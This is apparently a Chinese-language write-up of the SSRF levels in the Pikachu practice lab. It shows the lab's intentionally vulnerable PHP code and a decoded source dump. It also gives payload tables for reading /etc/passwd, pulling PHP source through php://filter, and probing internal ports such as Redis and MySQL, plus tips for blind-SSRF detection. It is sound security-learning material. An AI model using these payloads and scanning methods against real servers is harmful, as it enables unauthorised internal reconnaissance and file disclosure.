皮卡丘靶场解题记录-SSRF

SSRF(curl)

1、漏洞原理总结:

URL 跳转 = 服务器告诉你”那家店在那”,你自己去;SSRF = 服务器说”你要啥我帮你跑腿去拿”,结果服务器替你去了内网/不该去的地方,还把东西带回来。

2、我的测试过程:

image-20260907211702587

3、核心漏洞代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

if(isset($_GET['url']) && $_GET['url'] != null){

//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;

}

4、实战延伸:

image-20260907165849826

实战中容易出 SSRF 的功能点:URL 预览/缩略图、网页转 PDF、远程图片加载、RSS 订阅、支付回调验证。

一些经典的探测目标:

Payload 探测什么
url=http://127.0.0.1 本机 web 服务
url=http://127.0.0.1:3306 本机 MySQL(看响应判断端口开没开)
url=http://192.168.1.1 内网网关
url=file:///etc/passwd 读本地文件(如果支持 file 协议)
url=http://内 网IP:端口 扫内网端口

SSRF(file_get_content)

1、漏洞原理总结:

curl 版 SSRF file_get_contents 版 SSRF
读文件的函数 curl_exec() file_get_contents()
能请求 http 内网 支持 支持
能读本地文件file:// curl 不一定支持 天然支持
能读 PHP 源码php://filter 不支持 天然支持
版本区分 http:// 开头 php://file://http:// 都能吃

2、我的测试过程:

image-20260907212954034

伪协议,然后这里有个小坑,直接是默认不回显的,会看见一片空白,需要查看源代码找到base64。因为php://filter 输出的 base64 解码后是 PHP 源码,它以

1
<?php 开头、全是 {} 和 ;。但浏览器收到的响应,Content-Type 是 text/html。浏览器拿到一堆"不像 HTML 的乱码"——它把 <?php ... ?> 

当成了未知标签。渲染没了。

判断一个响应到底有没有内容,不能只看渲染后的页面,要用 Burp/源码视图看原始响应

获得的base64:

1
PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAic3NyZi5waHAiKXsKICAgICRBQ1RJVkUgPSBhcnJheSgnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnYWN0aXZlIG9wZW4nLCdhY3RpdmUnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnKTsKfQoKJFBJS0FfUk9PVF9ESVIgPSAgIi4uLy4uLyI7CmluY2x1ZGVfb25jZSAkUElLQV9ST09UX0RJUi4naGVhZGVyLnBocCc7CgoKCgoKCj8+CgoKPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudC1pbm5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYnMgYWNlLXNhdmUtc3RhdGUiIGlkPSJicmVhZGNydW1icyI+CiAgICAgICAgICAgIDx1bCBjbGFzcz0iYnJlYWRjcnVtYiI+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImFjZS1pY29uIGZhIGZhLWhvbWUgaG9tZS1pY29uIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0ic3NyZi5waHAiPjwvYT4KICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImFjdGl2ZSI+5qaC6L+wPC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPgoKICAgICAgICAgPGI+U1NSRihTZXJ2ZXItU2lkZSBSZXF1ZXN0IEZvcmdlcnk65pyN5Yqh5Zmo56uv6K+35rGC5Lyq6YCgKTwvYj4KICAgICAgICAgPHA+5YW25b2i5oiQ55qE5Y6f5Zug5aSn6YO95piv55Sx5LqO5pyN5Yqh56uvPGI+5o+Q5L6b5LqG5LuO5YW25LuW5pyN5Yqh5Zmo5bqU55So6I635Y+W5pWw5o2u55qE5Yqf6IO9PC9iPizkvYblj4jmsqHmnInlr7nnm67moIflnLDlnYDlgZrkuKXmoLzov4fmu6TkuI7pmZDliLY8L3A+CiAgICAgICAgICAgIOWvvOiHtOaUu+WHu+iAheWPr+S7peS8oOWFpeS7u+aEj+eahOWcsOWdgOadpeiuqeWQjuerr+acjeWKoeWZqOWvueWFtuWPkei1t+ivt+axgizlubbov5Tlm57lr7nor6Xnm67moIflnLDlnYDor7fmsYLnmoTmlbDmja48YnI+CiAgICAgICAgICAgIDxicj4KICAgICAgICAgICAg5pWw5o2u5rWBOuaUu+WHu+iAhS0tLS0tPuacjeWKoeWZqC0tLS0+55uu5qCH5Zyw5Z2APGJyPgogICAgICAgICAgICA8YnI+CiAgICAgICAgICAgIOagueaNruWQjuWPsOS9v+eUqOeahOWHveaVsOeahOS4jeWQjCzlr7nlupTnmoTlvbHlk43lkozliKnnlKjmlrnms5Xlj4jmnInkuI3kuIDmoLcKICAgICAgICAgICAgPHByZSBzdHlsZT0id2lkdGg6IDUwMHB4OyI+ClBIUOS4reS4i+mdouWHveaVsOeahOS9v+eUqOS4jeW9k+S8muWvvOiHtFNTUkY6CmZpbGVfZ2V0X2NvbnRlbnRzKCkKZnNvY2tvcGVuKCkKY3VybF9leGVjKCkKICAgICAgICAgICAgPC9wcmU+PGJyPgogICAgICAgICAgICDlpoLmnpzkuIDlrpropoHpgJrov4flkI7lj7DmnI3liqHlmajov5znqIvljrvlr7nnlKjmiLfmjIflrpooIuaIluiAhemihOWfi+WcqOWJjeerr+eahOivt+axgiIp55qE5Zyw5Z2A6L+b6KGM6LWE5rqQ6K+35rGCLDxiPuWImeivt+WBmuWlveebruagh+WcsOWdgOeahOi/h+a7pDwvYj7jgIIKPGJyPgogICAgICAgICAgICA8YnI+CgogICAgICAgICAgICDkvaDlj6/ku6XmoLnmja4iU1NSRiLph4zpnaLnmoTpobnnm67mnaXmkJ7mh4Lpl67popjnmoTljp/lm6AKCiAgICAgICAgPC9kaXY+PCEtLSAvLnBhZ2UtY29udGVudCAtLT4KICAgIDwvZGl2Pgo8L2Rpdj48IS0tIC8ubWFpbi1jb250ZW50IC0tPgoKCgo8P3BocAppbmNsdWRlX29uY2UgJFBJS0FfUk9PVF9ESVIgLiAnZm9vdGVyLnBocCc7Cgo/Pgo=

解码之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "ssrf.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';






?>


<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="ssrf.php"></a>
</li>
<li class="active">概述</li>
</ul>
</div>
<div class="page-content">

<b>SSRF(Server-Side Request Forgery:服务器端请求伪造)</b>
<p>其形成的原因大都是由于服务端<b>提供了从其他服务器应用获取数据的功能</b>,但又没有对目标地址做严格过滤与限制</p>
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据<br>
<br>
数据流:攻击者----->服务器---->目标地址<br>
<br>
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
<pre style="width: 500px;">
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
</pre><br>
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,<b>则请做好目标地址的过滤</b>。
<br>
<br>

你可以根据"SSRF"里面的项目来搞懂问题的原因

</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->



<?php
include_once $PIKA_ROOT_DIR . 'footer.php';

?>

3、核心漏洞代码分析:

1
2
3
4
5
6
7
8
9
//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
//内网请求:http://x.x.x.x/xx.index
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}


对接受参数没做任何过滤

4、实战延伸:

image-20260907212420479

服务器访问 127.0.0.1(它自己)时,绕过了防火墙——因为防火墙只管外部进来的流量,不管”自己访问自己”。所以很多只监听本机、不对公网开放的敏感服务(数据库、管理后台、Redis),都能被 SSRF 打到。

Payload 干什么
file=http://127.0.0.1/... SSRF 内网请求(跟上一关一样)
file=file:///etc/passwd 读本地文件(绕过 curl 限制)
file=php://filter/read=convert.base64-encode/resource=ssrf.php 读 PHP 源码

补充:涉及到的两个函数

curl_exec()

curl 本身是一个工具/库,专门用来去访问某个网络地址(发 HTTP 请求)。而 curl_exec() 就是 PHP 里”执行这个访问”的命令

1
2
3
4
5
$ch = curl_init("http://www.baidu.com");   // 1. 初始化:告诉 curl "去访问这个地址"
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 2. 设置:把结果"返回给我"而不是直接打印
$result = curl_exec($ch); // 3. 执行:真的去访问,拿到百度首页的 HTML
curl_close($ch); // 4. 关掉
echo $result; // 5. 把拿到的内容显示出来
作用
第 1 行 定目标(去哪)
第 2 行 设参数
第 3 行 真正去访问 ← 核心
第 5 行 把结果吐出来

file_get_contents()

file_get_contents("某地址") = 把那个地址的内容整个读成字符串

1
2
3
4
$str = file_get_contents("http://www.baidu.com");  // 读一个网页
$str = file_get_contents("/etc/passwd"); // 读一个本地文件
$str = file_get_contents("php://filter/..."); // 读 PHP 源码(特殊协议)
echo $str;

本地文件、网页、特殊协议都能读

章节答疑:

实战的时候内网url怎么确定?

第一步,内网IP确定

网段 谁爱用 解释
127.0.0.1 所有机器都有的自己 每台机器访问自己永远是它
10.0.0.0/8(10.x.x.x) 大型企业、云厂商内部 大公司、阿里云/腾讯云内网爱用
172.16.0.0/12(172.16~172.31) 中型网络、Docker 很多 docker 网络是 172.17.x.x
192.168.0.0/16 家用路由器、小公司

猜测顺序:服务器自己、内网网段、结合响应特征猜测

常见端口:

端口 服务 摸到后的价值
80/443 Web 网站 内网网站、后台管理
3306 MySQL 数据库,能爆破/拿密码
6379 Redis 常能 getshell / 写计划任务
22 SSH 内网机器登录口
8080/8443 各种后台 内网管理后台
9200 Elasticsearch 常未授权直接读数据
11211 Memcached 未授权

实际测试的组合:

1
2
3
4
5
?url=http://127.0.0.1:3306      → 摸自己 MySQL
?url=http://127.0.0.1:6379 → 摸自己 Redis
?url=http://127.0.0.1:9200 → 摸自己 ES
?url=http://10.0.0.1:80 → 摸内网网关的网页
?url=http://192.168.1.1:8080 → 摸内网某后台

怎么判断是否摸到了内网?

看报错信息、请求时间、返回情况

服务器返回 判断
内容/报错信息明显不同 端口开着,服务在
长时间卡住 / 连接超时 端口关着或防火墙拦(也可能没通)
返回”空白”但请求出去了 有回显就要仔细看差异

技巧:同一个地址,扫 80(开)和随便一个没用的端口(关)做对比,看两种响应有啥不同。

如果没有回显(盲 SSRF)怎么办?DNS 外带

只要能确定访问了就可以,通过dns记录或者时间延迟判断

技巧 做法 原理
DNS 外带 让自己的域名/工具(如 burp collaborator、dnslog.cn)去记录服务器发起的请求 服务器只要访问了指定的域名,DNS 记录里就有它
时间盲测 让服务器请求一个会很慢的地址看延迟 有延迟 = 请求发出去了

==总结:内网url不用乱猜——127.0.0.1永远第一优先,其次用固定网段 10.x/172.x/192.168.x + 常见端口(3306/6379/80/22)组合试探;有回显看内容差异,没回显就用 DNS 外带验证。==